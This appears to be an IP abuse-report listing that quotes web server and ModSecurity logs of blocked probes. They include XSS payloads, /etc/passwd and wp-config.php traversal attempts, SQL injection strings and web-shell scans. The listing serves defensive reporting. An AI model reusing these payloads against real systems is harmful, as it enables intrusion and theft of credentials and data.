๐บ๐ธ
102.129.234.105
14 Oct 2023
[level 3] [client 102.129.234.105] ModSecurity: Access denied with code 403 (phase 2). Pattern match ...
show more
[level 3] [client 102.129.234.105] ModSecurity: Access denied with code 403 (phase 2). Pattern match "/etc/passwd" at REQUEST_URI.
show less
Web App Attack
๐ธ๐ฌ
202.95.8.138
14 Oct 2023
202.95.8.138 - - [14/Oct/2023:04:20:21 +0200] "GET /login.php?s=Admin/login HTTP/1.1" 403 4141 "-" " ...
show more
202.95.8.138 - - [14/Oct/2023:04:20:21 +0200] "GET /login.php?s=Admin/login HTTP/1.1" 403 4141 "-" "python-requests/2.31.0"
show less
Web App Attack
๐จ๐ณ
58.49.151.47
14 Oct 2023
"GET /api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background= HTTP/ ...
show more
"GET /api.php?op=checkcode&code_len=4&font_size=20&width=130&height=50&font_color=&background= HTTP/1.1" 403
show less
Bad Web Bot
๐บ๐ธ
181.214.166.235
14 Oct 2023
[level 3] [client 181.214.166.235] ModSecurity: Access denied with code 403 (phase 2). Pattern match ...
show more
[level 3] [client 181.214.166.235] ModSecurity: Access denied with code 403 (phase 2). Pattern match "/etc/passwd" at REQUEST_URI.
show less
Web App Attack
๐บ๐ธ
181.215.182.69
14 Oct 2023
<script%20>alert(String.fromCharCode(88,83,83))</script>&id=13
Bad Web Bot
Web App Attack
๐บ๐ธ
181.214.166.18
11 Oct 2023
181.214.166.18 - - [11/Oct/2023:01:25:22 +0200] "GET knowledgebase.php?action=\"><script%20>alert(St ...
show more
181.214.166.18 - - [11/Oct/2023:01:25:22 +0200] "GET knowledgebase.php?action=\"><script%20>alert(String.fromCharCode(88,83,83))</script>&id=7
show less
Hacking
SQL Injection
Brute-Force
Bad Web Bot
๐ณ๐ฑ
95.214.24.144
20 Sep 2023
95.214.24.144 - - [20/Sep/2023:13:59:32 +0200] "GET /mail/config-v1.1.xml HTTP/1.0" 404 14090 "-" "M ...
show more
95.214.24.144 - - [20/Sep/2023:13:59:32 +0200] "GET /mail/config-v1.1.xml HTTP/1.0" 404 14090 "-" "Mozilla/4.0 (compatible; Synapse)"
show less
Bad Web Bot
๐ฉ๐ช
85.215.188.82
19 Sep 2023
85.215.188.82 - - [19/Sep/2023:18:27:38 +0200] "GET knowledgebase.php?action=\"><script%20>alert(Str ...
show more
85.215.188.82 - - [19/Sep/2023:18:27:38 +0200] "GET knowledgebase.php?action=\"><script%20>alert(String.fromCharCode(88,83,83))</script>&id=10 HTTP/1.1" 200 6437 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Rv:50.0) Gecko/20100101 Firefox/50.0"
85.215.188.82 - - [19/Sep/2023:18:27:40 +0200] "GET knowledgebase.php?action=/etc/passwd&id=10 HTTP/1.1" 403 4141 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Rv:50.0) Gecko/20100101 Firefox/50.0"
85.215.188.82 - - [19/Sep/2023:18:27:40 +0200] "GET knowledgebase.php?action=Http%3a%2f%2fWww.Google.Com&id=10 HTTP/1.1" 200 6437 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Rv:50.0) Gecko/20100101 Firefox/50.0"
show less
SQL Injection
Bad Web Bot
Web App Attack
๐ญ๐ฐ
103.68.61.169
17 Sep 2023
103.68.61.169 - - [18/Sep/2023:00:34:58 +0200] "GET /e/admin/index.php HTTP/1.1" 301 447 "-" "-"
10 ...
show more
103.68.61.169 - - [18/Sep/2023:00:34:58 +0200] "GET /e/admin/index.php HTTP/1.1" 301 447 "-" "-"
103.68.61.169 - - [18/Sep/2023:00:34:58 +0200] "GET /e/admin/index.php HTTP/1.1" 404 3307 "-" "-"
103.68.61.169 - - [18/Sep/2023:00:34:58 +0200] "GET /admin.php HTTP/1.1" 301 431 "-" "-"
103.68.61.169 - - [18/Sep/2023:00:34:58 +0200] "GET /admin.php HTTP/1.1" 404 3307 "-" "-"
show less
Bad Web Bot
Web App Attack
๐ญ๐ฐ
143.92.32.15
17 Sep 2023
143.92.32.15 - - [17/Sep/2023:11:39:51 +0200] "GET /js/ckplayer/ckplayer.js HTTP/1.1" 404 7073 "-" " ...
show more
143.92.32.15 - - [17/Sep/2023:11:39:51 +0200] "GET /js/ckplayer/ckplayer.js HTTP/1.1" 404 7073 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0"
show less
Bad Web Bot
Web App Attack
๐ฎ๐ณ
20.219.146.196
16 Sep 2023
20.219.146.196 - - [16/Sep/2023:13:31:41 +0200] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/ ...
show more
20.219.146.196 - - [16/Sep/2023:13:31:41 +0200] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 406 457 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
show less
Bad Web Bot
Web App Attack
๐บ๐ธ
70.18.216.156
15 Sep 2023
70.18.216.156 - - [15/Sep/2023:08:38:35 +0200] "GET /knowledgebase.php?action=displayarticle%20AND%2 ...
show more
70.18.216.156 - - [15/Sep/2023:08:38:35 +0200] "GET /knowledgebase.php?action=displayarticle%20AND%20(SELECT%205232%20FROM(SELECT%20COUNT(*),CONCAT(0x7178717071,(SELECT%20(ELT(5232=5232,1))),0x7176717171,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)--%20FeKK&id=10 HTTP/1.1" 403 4299 "-" "Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0"
show less
Web App Attack
๐บ๐ธ
74.249.239.179
15 Sep 2023
74.249.239.206 - - [15/Sep/2023:23:03:20 +0200] "GET //img/xmrlpc.php?p= HTTP/1.1" 406 401 "-" "Go-h ...
show more
74.249.239.206 - - [15/Sep/2023:23:03:20 +0200] "GET //img/xmrlpc.php?p= HTTP/1.1" 406 401 "-" "Go-http-client/1.1"
74.249.239.206 - - [15/Sep/2023:23:03:21 +0200] "GET //wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 406 401 "-" "Go-http-client/1.1"
74.249.239.206 - - [15/Sep/2023:23:03:21 +0200] "GET //wp-admin/images/xmrlpc.php?p= HTTP/1.1" 406 401 "-" "Go-http-client/1.1"
74.249.239.206 - - [15/Sep/2023:23:03:21 +0200] "GET //images/xmrlpc.php?p= HTTP/1.1" 406 401 "-" "Go-http-client/1.1"
74.249.239.206 - - [15/Sep/2023:23:03:22 +0200] "GET //wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 406 401 "-" "Go-http-client/1.1"
74.249.239.206 - - [15/Sep/2023:23:03:23 +0200] "GET //wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 406 401 "-" "Go-http-client/1.1"
74.249.239.206 - - [15/Sep/2023:23:03:24 +0200] "GET //wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 406 401 "-" "Go-http-client/1.1"
show less
Web App Attack
๐จ๐ณ
182.35.53.25
15 Sep 2023
GET /my/modules/gateways/paypal.php HTTP/1.1" 404 4041 "-" "python-requests/2.31.0"
GET /client/mod ...
show more
GET /my/modules/gateways/paypal.php HTTP/1.1" 404 4041 "-" "python-requests/2.31.0"
GET /client/modules/gateways/paypal.php HTTP/1.1" 404 4041 "-" "python-requests/2.31.0"
GET /store/modules/gateways/paypal.php HTTP/1.1" 404 4041 "-" "python-requests/2.31.0"
show less
Web App Attack
๐จ๐ณ
182.35.53.151
15 Sep 2023
GET /members/modules/gateways/paypal.php HTTP/1.1" 404 4141 "-" "python-requests/2.31.0"
GET /clien ...
show more
GET /members/modules/gateways/paypal.php HTTP/1.1" 404 4141 "-" "python-requests/2.31.0"
GET /clients/modules/gateways/paypal.php HTTP/1.1" 404 4141 "-" "python-requests/2.31.0"
show less
Web App Attack
178.236.248.7
05 Jun 2021
"GET /index.html\"%20and%20\"x\"%3D\"x HTTP/1.1" 406 5432 "-" "Mozilla/5.0 (Windows NT 6.0; rv:34.0) ...
show more
"GET /index.html\"%20and%20\"x\"%3D\"x HTTP/1.1" 406 5432 "-" "Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0"
"GET /index.html%22%20and%20%22x%22%3D%22y HTTP/1.1" 406 5432 "-" "Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0"
show less
SQL Injection
Brute-Force
Exploited Host
47.251.23.110
04 Jun 2021
47.251.23.110 - - [04/Jun/2021:04:27:57 +0200] "HEAD /api.tar.gz HTTP/1.1"
Bad Web Bot
194.61.54.51
11 May 2021
SQL Injection attempts
SQL Injection
135.181.222.124
24 Mar 2021
135.181.222.124 - - [25/Mar/2021:01:59:56 +0100] "GET /wp-content/plugins/dukapress/lib/dp_image.php ...
show more
135.181.222.124 - - [25/Mar/2021:01:59:56 +0100] "GET /wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php HTTP/1.1" 404 23053 64355
show less
SQL Injection
Bad Web Bot
Web App Attack
116.213.41.92
13 Mar 2021
116.213.41.92 - - [13/Mar/2021:12:00:57 +0100] "GET /NewsType.asp?SmallClass='%20union%20select%200, ...
show more
116.213.41.92 - - [13/Mar/2021:12:00:57 +0100] "GET /NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20''=' HTTP/1.1" 403 424
show less
SQL Injection
94.102.59.105
04 Mar 2021
"GET /knowledgebase.php?action=displayarticle%27and%28select%2Afrom%28select%2Bsleep%280%29%29a%2F%2 ...
show more
"GET /knowledgebase.php?action=displayarticle%27and%28select%2Afrom%28select%2Bsleep%280%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27&id=13 HTTP/1.1" 403 408 "-" "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
show less
SQL Injection
107.178.75.114
13 Feb 2021
Pattern match "/etc/passwd" at REQUEST_URI.
Bad Web Bot
Web App Attack
206.189.45.42
12 Feb 2021
206.189.45.42 - - [12/Feb/2021:14:33:34 +0100] "GET /web.config.txt HTTP/1.1" 404 7780 "-" "python-r ...
show more
206.189.45.42 - - [12/Feb/2021:14:33:34 +0100] "GET /web.config.txt HTTP/1.1" 404 7780 "-" "python-requests/2.25.0"
206.189.45.42 - - [12/Feb/2021:14:33:36 +0100] "GET /info.log HTTP/1.1" 404 7780 "-" "python-requests/2.25.0"
206.189.45.42 - - [12/Feb/2021:14:33:37 +0100] "GET /error.log HTTP/1.1" 404 7780 "-" "python-requests/2.25.0"
206.189.45.42 - - [12/Feb/2021:14:33:39 +0100] "GET /webalizer/index.html HTTP/1.1" 404 7780 "-" "python-requests/2.25.0"
206.189.45.42 - - [12/Feb/2021:14:33:40 +0100] "GET /graph HTTP/1.1" 404 7780 "-" "python-requests/2.25.0"
206.189.45.42 - - [12/Feb/2021:14:33:42 +0100] "GET /wp-config.php HTTP/1.1" 404 7780 "-" "python-requests/2.25.0"
show less
Bad Web Bot
Web App Attack
37.120.211.236
21 Jan 2021
"HEAD /.bash_history HTTP/1.1"
Bad Web Bot
77.246.102.134
16 Jan 2021
%27%20or%20(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_ ...
show more
%27%20or%20(1,2)=(select*from(select%20name_const(CHAR(111,108,111,108,111,115,104,101,114),1),name_const(CHAR(111,108,111,108,111,115,104,101,114),1))a)%20--%20%27x%27=%27x HTTP/1.1" 403 4838 "-" "-"
show less
SQL Injection